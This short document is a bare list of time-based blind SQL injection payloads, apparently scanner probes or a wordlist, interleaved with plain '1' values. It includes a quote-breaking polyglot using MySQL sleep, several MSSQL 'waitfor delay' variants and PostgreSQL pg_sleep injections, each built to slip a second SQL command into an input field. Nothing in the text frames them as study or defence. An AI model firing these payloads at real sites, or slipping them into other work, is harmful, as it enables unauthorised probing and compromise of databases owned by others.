(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

555-1; waitfor delay '0:0:15' --

1

1

555-1); waitfor delay '0:0:15' --

555-1 waitfor delay '0:0:15' --

555P0A7PNbq'; waitfor delay '0:0:15' --

555-1 OR 746=(SELECT 746 FROM PG_SLEEP(15))--

555-1) OR 353=(SELECT 353 FROM PG_SLEEP(15))--